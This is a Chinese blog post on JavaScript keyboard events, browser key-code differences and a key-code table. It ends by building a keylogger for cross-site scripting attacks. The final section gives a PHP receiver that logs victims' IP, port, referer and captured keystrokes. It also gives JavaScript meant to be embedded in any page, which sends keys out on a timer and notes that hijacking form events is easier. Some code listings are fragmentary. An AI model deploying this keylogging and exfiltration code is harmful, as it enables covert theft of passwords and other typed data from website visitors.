一、按键事件
二、按键码与按键字符
三、其他按键属性
四、浏览器兼容性总结
五、代码实现
六、总结
一、按键事件
浏览器有三种键盘按键事件:keyup、keydown、keypress,对应的事件处理函数有onkeyup、onkeydown、onkeypress。keypress是在用户按下可打印字符时触发,keydown是在用户按下任意键时触发,keyup是在用户释放按下的任意键时触发。
按一个键时产生的事件依此是keydown、keypress、keyup。三个事件中,keydown和keyup较为底层,keypress较为高级。所谓高级是指keypress会将复合按键(如shift+1)进行解析返回一个可打印的字符(如!),而keydown和keypress只是简单的返回相应的按键。
注意,keypress是存在浏览器兼容性问题的,如在其他浏览器下按下功能键(F1-F12)是不会触发keypress,而在firefox中按下功能键是可以触发的。
现详细描述一下各种浏览器下的按键事件触发情况:
Tab键
- IE: 只触发keydown事件。
- firefox:触发keydown和keypress事件。
- Chrome:
回车键
- IE/Firefox/Chrome下三个按键事件都触发。按键码是13,不过转换成字符后显示为空格,因此在代码中要做处理。
shift键
alt键
Caps Lock键
Backspace后退键
- IE和chrome下,只触发keyup和keydown事件。按键码为8
- firefox下,三个事件都触发。 按键码为8
方向键
二、按键码与按键字符
触发按键事件后,要想获取按键码必须使用事件的属性来获取到底按的是哪个键。获取按键的按键码同样存在着浏览器的兼容性问题:在IE下用事件的keyCode属性,在Firefox下使用.which和charCode属性,在Opera下使用keyCode和which属性,谷歌的话三个都可以。
即:
IE: keyCode存储按键的按键码或字符码(keyup和keydown为按键码,keypress为字符码,下同)
firefox:keyCode始终为0,。在keyup和keydown时,charCode为0,which为按键码。keypress时charCode和which一样存储字符码。
Opera: keyCode和which始终相同,存储按键码或字符码。
因此,为了要兼容浏览器,可以采取下面的代码来完美获取信息:
document.onkeypress=function(ev)
{
var oEvent=window.event||ev;
var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode;
cChar=String.fromCharCode(cChar);
}
其中,String.fromCharCode()函数可以将按键码或字符码转换成为相应的字符。
按键码的对应关系:
A <——–> 65
B <——–> 66
C <——–> 67
D <——–> 68
E <——–> 69
F <——–> 70
G <——–> 71
H <——–> 72
I <——–> 73
J <——–> 74
K <——–> 75
L <——–> 76
M <——–> 77
N <——–> 78
O <——–> 79
P <——–> 80
Q <——–> 81
R <——–> 82
S <——–> 83
T <——–> 84
U <——–> 85
V <——–> 86
W <——–> 87
X <——–> 88
Y <——–> 89
Z <——–> 90
0 <——–> 48
1 <——–> 49
2 <——–> 50
3 <——–> 51
4 <——–> 52
5 <——–> 53
6 <——–> 54
7 <——–> 55
8 <——–> 56
9 <——–> 57
数字键盘 1 <——–> 96
数字键盘 2 <——–> 97
数字键盘 3 <——–> 98
数字键盘 4 <——–> 99
数字键盘 5 <——–> 100
数字键盘 6 <——–> 101
数字键盘 7 <——–> 102
数字键盘 8 <——–> 103
数字键盘 9 <——–> 104
数字键盘 0 <——–> 105
乘号 <——–> 106
加号 <——–> 107
Enter <——–> 108
减号 <——–> 109
小数点 <——–> 110
除号 <——–> 111
F1 <——–> 112
F2 <——–> 113
F3 <——–> 114
F4 <——–> 115
F5 <——–> 116
F6 <——–> 117
F7 <——–> 118
F8 <——–> 119
F9 <——–> 120
F10 <——–> 121
F11 <——–> 122
F12 <——–> 123
F13 <——–> 124
F14 <——–> 125
F15 <——–> 126
Backspace <——–> 8
Tab <——–> 9
Clear <——–> 12
Enter <——–> 13
Shift <——–> 16
Control <——–> 17
Alt <——–> 18
Caps Lock <——–> 20
Esc <——–> 27
空格键 <——–> 32
Page Up <——–> 33
Page Down <——–> 34
End <——–> 35
Home <——–> 36
左箭头 <——–> 37
向上箭头 <——–> 38
右箭头 <——–> 39
向下箭头 <——–> 40
Insert <——–> 45
Delete <——–> 46
Help <——–> 47
Num Lock <——–> 144
; : <——–> 186
= + <——–> 187
– _ <——–> 189
/ ? <——–> 191
` ~ <——–> 192
[ { <——–> 219
| <——–> 220
] } <——–> 221
” ‘ <——–> 222
三、其他按键属性
事件对象除了keyCode等获取按键码或字符码的属性,还有三个有用属性:ctrlKey/shiftKey/altKey,这三个属性看名称就知道是干什么的,如ctrlKey是检测当前是否按着ctrl键,如果按着ctrl键则ctrlKey就为true。这三个按键属性主要用于检测复合按键。
四、浏览器兼容性总结
在获取键盘按键的过程中要涉及到两处浏览器兼容性问题:一处是事件的获取,一处是事件按键码的获取。总的来说可以用下面的方式来解决(注意,在firefox下必须是window.event否则会报错,因为firefox是通过ev获取的事件):
1 | document.onkeypress= function (ev) |
3 | var oEvent=window.event||ev; |
4 | var cChar=oEvent.keyCode||oEvent.which||oEvent.charCode; |
5 | cChar=String.fromCharCode(cChar); |
五、代码
说明:退格、制表、回车、空格、PageUp
、PageDown
、End
、Home、方向键、删除键由于转换为字符时显示有问题,不容易识别,所以在keypress中将其屏蔽(不做处理),将他们放到keydown中处理来以明显的方式显示。
退格:8
制表:9
回车:13
空格:32
PageUp:33
PageDown:34
End:35
Home:36
方向键:37、38、39、40
删除键:46
ps:在实际测试过程中,使用keydown/keyup获取的键值与keypress的不一样,如按个小写a,keypress正常输出a,而keyup/keydown返回大写A。因此,对于可打印字符要使用keypress事件来获取按键值。
代码如下:
6 | < script src = "./key.js" ></ script > |
9 | < body style = "background:black; color: white; font-size:50px;" > |
key.js代码如下:
2 | window.onload= function () |
4 | document.onkeypress= function (ev) |
6 | var oEvent=window.event||ev; |
7 | var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; |
10 | if ((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46)) |
16 | cKey=String.fromCharCode(iKey); |
20 | document.onkeydown= function (ev) |
22 | var oEvent=window.event||ev; |
23 | var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; |
77 | var oDiv1=document.getElementById( 'div1' ); |
78 | oDiv1.innerHTML=sKeys; |
81 | setInterval(sendKey,100); |
ps:实际在xss系统中用到的代码如下:
接收端key.php:
10 | if (! empty ( $_SERVER [ 'HTTP_CLIENT_IP' ])) |
12 | $ip = $_SERVER [ 'HTTP_CLIENT_IP' ]; |
16 | $ip = $_SERVER [ 'REMOTE_ADDR' ]; |
21 | $referer = $_SERVER [ 'HTTP_REFERER' ]; |
23 | $user_agent = $_SERVER [ 'HTTP_USER_AGENT' ]; |
24 | $port = $_SERVER [ 'REMOTE_PORT' ]; |
25 | $fp = fopen ( 'data.txt' , 'a+' ); |
26 | fwrite( $fp , 'IP:' . $ip . "\r\n" ); |
27 | fwrite( $fp , 'PORT:' . $port . "\r\n" ); |
28 | fwrite( $fp , 'key:' . $key . "\r\n\r\n" ); |
js代码(只要以外链的方式嵌入任何页面即可):
2 | window.onload= function () |
4 | document.onkeypress= function (ev) |
6 | var oEvent=window.event||ev; |
7 | var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; |
10 | if ((iKey==8) ||(iKey==9) ||(iKey==13) ||(iKey>31 &&iKey<41) ||(iKey==46)) |
16 | cKey=String.fromCharCode(iKey); |
20 | document.onkeydown= function (ev) |
22 | var oEvent=window.event||ev; |
23 | var iKey=oEvent.keyCode||oEvent.which||oEvent.charCode; |
83 | setInterval(sendKey,10000); |
六、总结
键盘记录在实际使用过程中用处不大,还不如劫持表单项的各种事件方便,比如表单项的onchange/onblur/onclick等,当发生这些事件后直接读取表单项的值就可以了。同时,键盘记录仅在全英文(ASCII)输入下才有效,在输入时,如果存在中文输入框是记录不了击键事件的。
参考资料:
1、js 实现键盘记录 兼容FireFox和IE http://jinglingshu.org/?p=398
2、onkeypress,onkeydown,onkeyup区别 和 javascript event.keycode值大全 http://wallboy.iteye.com/blog/730228
3、XSS的键盘记录 http://jinglingshu.org/?p=409
4、键盘记录器 《web前段黑客技术揭秘》p219
对中文按键的获取参考以下文章:
1、http://calefy.org/2012/11/12/javascript-key-events-and-input-control.html
2、http://www.cnblogs.com/owenChen/p/3215421.html
转载请注明:jinglingshu的博客 » JS键盘记录学习